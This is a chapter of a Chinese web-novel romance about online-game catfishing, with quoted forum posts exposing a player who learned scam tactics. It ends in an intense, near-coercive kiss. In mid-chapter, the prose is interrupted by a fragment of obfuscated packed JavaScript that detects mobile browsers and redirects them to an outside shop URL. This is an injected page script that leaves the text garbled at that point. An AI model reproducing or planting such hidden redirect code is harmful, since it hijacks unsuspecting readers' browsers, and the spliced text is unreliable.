可当这处境下的人换成黎清时，想到他这个年纪就要承受这一切，边上学边为赚钱发愁，摊上一群脑残室友，现实孤立无援，好不容易搬出来也只住在这么点大的出租屋里，萧奕然突然感觉呼吸一滞。 他继续往下看。这个代练帖只有二十多条回复，没什么劲爆的内容，大伙安慰几句就悄无声息的沉了下去。 可坏就坏在黎清回复了其中一个人信息，而这条回复也成了引爆火星的关键，被截图放大到了攻略帖里。 #350 x的，这不是那个臭名昭著男骗子C吗？自称恋爱导师，实则就是个网骗拖，不知道坑过多少人。他这个号估计是被举报成状态异常了，所以才没办法注销 【截图＞C：嘻嘻，我也遇到过类似的事，不过不是沙海，是在大世界…】 点水青回他“我私你”，两人还互关了，这暗示着什么？ #353 666看见老熟人了，我C哥也是个活着的传奇，最擅长假照变声器定制v视频一条龙，公的看见都得绕道走，前段时间貌似又作案了[笑] #355 这种人居然没被避雷到退圈？骗钱的话直接报警送进去啊 #360 避雷也最多是避雷一个号，他反手再收一个你又能怎么办 至于为什么不报警，那就要问问那些男嘉宾*虫上脑的时候都发了什么了，有把柄在人家手里啊 #365 我现在真的很好奇他俩私聊了什么内容 #368 家人们，点水青的收藏夹居然没关，猜猜看我都发现了什么？ #370 速度 #380 [截图1][截图2][截图3] 《网恋奔现注意事项》《怎么判断游戏搭子是不是真心》《没有交往但对方总给我花钱怎么办》 ……这还能再明显点吗？ #405 把情感区当搜索引擎了 #408 等一下，还有更精彩的 [截图]《网恋经验贴：全是干货，务必收藏！！！》《警惕新型游戏诈骗，以交友为名骗财骗色》 俩帖子挨着，一个教人怎么骗，一个教人被骗了该怎么办，我真的笑死 #410 ？所以这到底是怕被骗还是想骗人啊 #412 结合她跟C互关私聊，我觉得答案已经很明显了 #416 别用“她”了，我现在觉得这小清宝宝的真实性别也存疑 #420 声音都那么嗲了还能有假？ #425 变声器啊大哥，这年头想伪出女声还不容易 #428 这小清宝宝还是个老玩家。看她以前的截图，那时候还没改这个软妹ID，游戏里就叫点水青，用的默认头像，建模也是初始脸 #432 我也看到了。早期也发了几个攻略帖，都是纯文字干货，语气也挺自信的。什么“这个boss建议卡墙角”、“别问为什么问就是试过”。这像妹妹发出来的话？ #435 也许性格如此呢，况且天问里女玩男也不少 #440 女玩男都打扮的像男模，会用这种初始人机脸？ #445 总结一下点水青现在的疑点：早期玩男号、说话语气强硬、收藏网骗相关的各种帖子、和C私信互关、经济水平一般 结果不知道从哪天开始突然爆改软妹ID，与其同时没多久就拿下了战力排行榜前十、二区第一帮会的帮主独孤，摇身一变成帮主夫人，顶奢都穿上了 #448 这不是C的亲传弟子我吃键盘 #450 等等，怎么越想越觉得不对劲。你们还记得C的绰号是什么吗 #452 毒瘤杀手？ #457 对，他虽然是个骗子，但骗的基本都是游戏里有名的嘴臭人士和海王瓜主，手段下作了点，但从某种程度上也算是为民除害了 #461 所以C帮点水青，是因为点水青也被欺负了？我去，你们记不记得那个代练贴是怎么描述的 #466 【截图1】：今天接了个沙海代练单，老板的号装备不错，我正打着呢，被一个突然冒出来的人砍到丝血，我按规矩交货还开麦求饶，但他拿了我的东西还是把我刀了 【截图2】：以为是老板的仇人，结果根本不认识。满级神兵+毕业套，应该是被大佬炸鱼了 #470 …你们说这个炸鱼的号，会不会就是独孤？ #473 时间线对得上吗？ #479 代练贴是八月一号发的。独孤是什么时候认识小清宝宝的，好像也是八月份吧，我记得有人看到他们之前在岐山挂机 #483 我去搜一下关键词…找到了！八月八号有人截图独孤和一个叫小清宝宝的药仙在岐山做任务，并且独孤还疑似为了讨好妹子做红线挑战。那时候他们还没改情侣名呢，但应该开始暧昧了 #488 八月一号被某大佬爆装备，八月八号就跟某大佬固定组队了？ #490 所以会不会是这样：点水青代练时被炸鱼佬欺负了，发帖诉苦的时候被C看见，于是就给点水青支招，传授网骗教程 #495 逻辑严丝合缝 #501 等等，那炸鱼的人确定就是独孤了？有证据吗？ #503 没直接证据，但二区满级神兵+毕业套的就那么几个，会闲得无聊去沙海低段位炸鱼的，除了独孤我想不到别人 #508 独孤确实是出了名的爱打架。去年还有人挂被他在野外追着杀，虽然后来被扒出是对方先挑衅的 #511 言之有理 #514 等一下，如果真是这样，那小清宝宝发在情感区发的求助帖又是什么意思。仇人给自己爆米，高兴还来不及吧，纠结个什么劲 #520 我已经快看不懂了 #522 所以现在是什么情况？独孤知道吗 #526 应该不知道吧，不然也太抓马了，名字里还挂着“爱妻”呢 #530 我游戏里私信独孤了。他关了好友申请，陌生人私信只能发一条，目前还没回我 #533 可能是没看见吧，或者看见了不想理 #536 也可能正在弹视频让“小女友”自证清白呢，哈哈哈哈哈 #541 这瓜真是越吃越精彩 … 原来这就是全部。 萧奕然靠在桌边，把手机放下。 为了哄骗自己，黎清甚至进行了“学习”。 那个C究竟教了他什么？怎么装女生，怎么撒娇，怎么让游戏搭子心甘情愿花钱？ 按这个标准，黎清确实是个满分学生。可顺着那些帖子往下翻，他又看见了别的东西。情感咨询、暧昧的烦恼、别人恶意揣测自己时的出言维护。 原来那些辗转反侧的日子，不只是他一个人在经历。 后来呢？ 后来萧奕然发现自己被骗了。被骗财，被骗感情。他气得发疯，以为对象出轨，连夜订飞机票过来兴师问罪。 现在呢？ 现在他强行挤进黎清的生活，却发现这个人根本没那么擅长撒谎。他是真的连饭都吃不好，每天打工，住在这种小出租屋里，被自己一句话就吓得发抖。 萧奕然突然发现自己不生气了。 明明前几天还为了这些事怒不可遏，现在却觉得那些都不重要。 不是原谅了欺骗，而是…… 他说不清那是什么，只知道此刻满脑子只有一个念头：去找黎清。 … 不知何时，黎清已经挪到了客厅，蜷缩在沙发角落里。膝盖抵着胸口，手臂紧紧抱着自己，整个人塞进那个小小的空间。肩膀一直在抖。 萧奕然大步走过去，脚步声在安静的屋子里格外清晰。听见动静，沙发上的人缩得更紧，恨不得藏进一旁的缝隙里。 “黎清。” 萧奕然把手机放在茶几上，蹲下了身。这个高度终于看清了他的脸。 眼泪糊了满脸，眼眶红得不像话，嘴唇也被咬得发白。但最让萧奕然为之一震的是那双眼睛，充满不安和恐惧的眼睛。 “抬头。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293095|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黎清没动。他不敢看萧奕然，嘴唇动了动，但只发出了一点微不可闻的声音。 他不知道自己在怕什么。明明这件事早被当事人知道了，可当一切被揭穿在众目睽睽下时，恐惧还是从心底漫上来。 和萧奕然不一样，黎清并不讨厌论坛。相反，对于不擅社交的他来说，这里曾经是他和同好交流的一个窗口。 互联网上的人形形色色，大多都互不相识，但也有少数人会留下只言片语。那零星的温暖和一起讨论爱好的行为，也让他获得许多满足和快乐。 可现在，这个地方变成了审判他的刑场。 那些他从没注意过的东西：早期的发言记录、深夜的倾诉、收藏夹里反复翻看的求助帖，全都被翻了出来，摊在阳光下供人指指点点。 “对不起。” 他哑声说道，嗓子又干又涩。“很多事你已经知道了。说起来，我还要谢谢你没报警，也没把这事捅到游戏里去。” 萧奕然张了张口，想说些什么，却被黎清打断。他讲到C，讲到自己的“学习”，讲到告白那晚时，大滴大滴眼泪砸在了沙发垫上，洇出深色的印记。 “我其实不是很记仇的。你对我好，我知道。本来想不报仇了，做朋友也可以。可你后来又跟我告白了……” 他抬起头，眼眶红得厉害，拼命忍着泣音。 “那时我真的不知道该怎么办，因为我从没想过和谁谈恋爱。可你说要退游的时候我却慌了，我发现我根本没法忍受和你分开。” 萧奕然看着他，心脏漏了一拍。 半晌，他开口，声音比预想的哑： “所以……你不是为了报复才答应我的表白，你也喜欢我。” 不是疑问句，是陈述句。 黎清愣住了。 “告诉我。”萧奕然盯着他的眼睛，“你到底喜不喜欢我？” 这个问题太直接。黎清张了张嘴，喉咙像被什么堵住。可萧奕然却一秒都没移开视线，就那么直直看着他。 “……喜欢过。”黎清的声音轻得像要飘走，“可现在说这些也没意义了。” “我是骗子，从一开始就是。甚至连怎么聊天、怎么发照片都是别人教我的。”他扯了扯嘴角，笑比哭难看，“你肯定对我很失望。” 失望？ 萧奕然的心像是被什么东西狠狠攥了一下。 回忆像潮水一样涌上来。那些凌晨连麦的夜晚，黎清脆弱时的倾诉，被逗乐时的傻笑，被夸后的偷偷得意。甚至还有这几天，他对着麦克风磕磕巴巴录视频，被自己逗得耳尖通红的样子。 是失望吗？不是。 萧奕然忽然明白过来，那些他压在心里说不清的东西是什么。 是哪怕知道被骗，还是舍不得。哪怕知道了真相，还是喜欢他。 “你听我说……” “你肯定在想。”黎清自顾自继续，“这个人到底哪句话是真的，其实我自己也分不清，我撒了太多的谎。关于赔偿的问题，我这里记了你给我花的每一笔钱，转账没动过，很多物品也没拆封，除去一些吃的……” 黎清这次又没算完账，因为萧奕然突然动了。 他是半蹲的姿势，黎清正蜷缩在他面前的沙发上，不过几十厘米，几乎是稍微倾身就能扑上去的距离。 他扑了上去。 并伸手扣住了黎清的后颈，把人往自己这边一带，直直吻了上去。 陌生的嘴唇贴上来的时候，黎清整个人都僵住了。他完全没有反应过来，只是愣神的功夫，呼吸就被剥夺，扣在后颈的手也猛地收紧，五指陷进发丝，力道又重又急。 “唔嗯……！” 火热的身躯覆了上来。因为力量差距，下方的人只能仰着头承受，脸颊都被挤到变形。 在此之前，黎清从没有过接吻的经验，想必另一个人也亦然。 在他心里，初吻是个无比美好的词，代表着懵懂和纯洁。应该发生在某个恰到好处的瞬间，有小心翼翼的试探，带着浅尝辄止的分寸。 而不是这种粗鲁的、湿漉漉的、近乎侵.犯的、喘不过气的…… 他们离得太近。近到面贴着面，舌尖抵着舌尖，胸膛挤压着胸膛。萧奕然亲得很凶，甚至比起亲吻，他的动作更像啃咬。辗转、厮磨，含吮住幼.嫩的舌尖，在湿软的口腔黏.膜内肆意翻搅。 和那天早晨几乎一样的姿势，像是某种蓄谋已久，火热的身躯压了过去，凭借重量将人牢牢锁在身下，完全是被雄性本能在驱动行事。 黎清尝到了咸涩的味道，是自己没擦干净的眼泪。 推拒的手不知什么时候没了力气。攥着萧奕然衣角的指节渐渐松开，最后只是攥着一小片布料，身体被迫展开，任由侵.占进一步继续。 这一切都太突然，而归其原因，萧奕然其实也不知道自己为什么要这样做。自从知道黎清对自己也有真心，他的胸腔里就一直有股莫名的冲动，而这冲动也在对方划清界线的言语中彻底爆发—— 不管用什么方法，不想听他再说这些。 不想看他流着眼泪苦笑。 不想让他把自己缩成一团，觉得一切都是自己的错。 不管怎样都好，想让他看着自己。 只感受自己。 这个吻持续了很久，因为发现黎清不会换气才被迫停下。久到分开时，二人的唇缝间甚至牵出细长的银丝。 萧奕然喘着气，低头看向怀里的人。 黎清微张着嘴，因缺氧而满面潮.红，脸上还挂着干涸的泪迹，眼神完全呆滞，像是被亲懵了。 看着他这副样子，萧奕然忽然觉得自己有点过分。可那种充盈的感觉还在胸腔里乱窜着，满得快要溢出来，急需找地方发泄出去。 他忍不住在黎清脸颊上印了一下，很轻，见人没什么反应，他又将那块软肉含进嘴里，咬住又松开。 被这般如同进.食的“威胁”，怀里的人瑟缩了一下，却没躲。只有揪着萧奕然衣服的手还在颤抖着用力。 至于其余的部位，腰，腿，纤薄的脖颈和脊背，都暂时失去了自主权。 现在这双眼睛终于不再躲闪着流泪了。可代价却是失去了焦距，甚至有些翻白，直到看见黎清微微抽筋的小腿肚时，萧奕然才意识到大事不妙—— 是挺有效的，但效果似乎有点太好了。